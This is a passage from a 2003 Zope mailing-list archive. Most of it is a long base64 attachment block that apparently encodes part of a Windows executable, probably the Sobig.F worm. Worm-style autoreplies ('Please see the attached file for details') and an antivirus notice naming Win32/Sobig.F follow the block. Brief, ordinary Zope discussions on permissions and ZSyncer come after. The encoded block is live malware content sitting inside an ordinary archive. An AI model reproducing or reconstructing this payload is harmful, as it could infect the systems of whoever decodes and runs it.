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 > 0RyDuclXh4q8+gcxwD39XT2TG6raIM41kw2xySzSC77LVO2ZyAWfkejlTznPLLRHN9IMusczizmT > LZjneLUpqcsan/zNH5mPrbJLP8Ao4EI21EiyiRDnFJMPocU6wQW011TtmN8Un4644EIj0CD7RXjW > GqHGJopY8DuXizzHHrTLVM2a0xuVw6v9SSTGJ+ALMNIb88sxzjaTBLvPMNMFvt1bzZXcV4mMvbJV > Jc1p9QsryhunzDmmUtcMtt4+0gmplVWOsN8WgsOp/ktwwTvxSjPDB7rHINh40QyyxCvQTKnMG4O1 > 1BDQl6D7VHDTO/tMKtIF8qkdxSzWDqbCLcxMuNEQjreaEZGKpPdDcYMd/EIrky66xTGLMNIa9Mk8 > 0AL71BqJtdwelYfmny0CxijnRDaTBbrOPN940Qz0ynnFA6jKHI+w31eGirrnVHDKJ/JOO8cBvMd1 > q4sjiRR9UgVZOmKWENpaYm0AAAkJCAgKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKkBAABYQzAwMTgxNWQA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADsAQAA > WEMwMDE4MTVk > --_NextPart_000_0033D23C-- > > From fjord at fjordimages.com Fri Aug 22 12:16:49 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 17:34:02 2003 Subject: [Zope] Re: Re: Thank you! Message-ID: <1061406621.12793.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > Please see the attached file for details. From fjord at fjordimages.com Fri Aug 22 12:18:23 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 17:34:55 2003 Subject: [Zope] Re: Re: Re: My details Message-ID: <1061391115.16987.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > Please see the attached file for details. From ANTIGEN_DVNTEX01 at devote.nl Fri Aug 22 12:35:18 2003 From: ANTIGEN_DVNTEX01 at devote.nl (ANTIGEN_DVNTEX01) Date: Fri Aug 22 17:36:48 2003 Subject: [Zope] Antigen found Win32/Sobig.F.Trojan (CA(InoculateIT), CA(Vet), McAfe e4) virus Message-ID: <9916289167D2D411BD0700508BB4A52702274361@DVNTEX01> Antigen for Exchange found document_9446.pif infected with Win32/Sobig.F.Trojan (CA(InoculateIT),CA(Vet),McAfee4) worm. The message is currently Purged. The message, "Re: Your application", was sent from zope@zope.org and was discovered in IMC Queues\Inbound located at Devote/Bunnik/DVNTEX01. From allison at sumeru.stanford.EDU Wed Aug 20 01:42:27 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Fri Aug 22 17:41:16 2003 Subject: [Zope] External management of roles and permissions In-Reply-To: <3F431F9F.2060806@upfrontsystems.co.za> Message-ID: On Wed, 20 Aug 2003, Jean Jordaan wrote: > > Then I need to set the permissions for each > > security option/role programattically--the moral equivalent of going > > through and checking the boxes. > > Does this help at all? 'setup' below is called from the > 'manage_addMyApp' constructor. > Thanks... that's a good place to start. -dra From pw_lists at slinkp.com Thu Aug 21 12:05:00 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Fri Aug 22 17:41:50 2003 Subject: [Zope] Son of ZSyncer In-Reply-To: References: <20030728140844.GA1046@slinkp.com> Message-ID: <20030821150500.GA1159@slinkp.com> On Thu, Aug 21, 2003 at 07:36:32AM -0700, Dennis Allison wrote: > Paul, > > I've made come progress on a 'son of zsyncer' product and have a > pre-pre-alpha Product which I 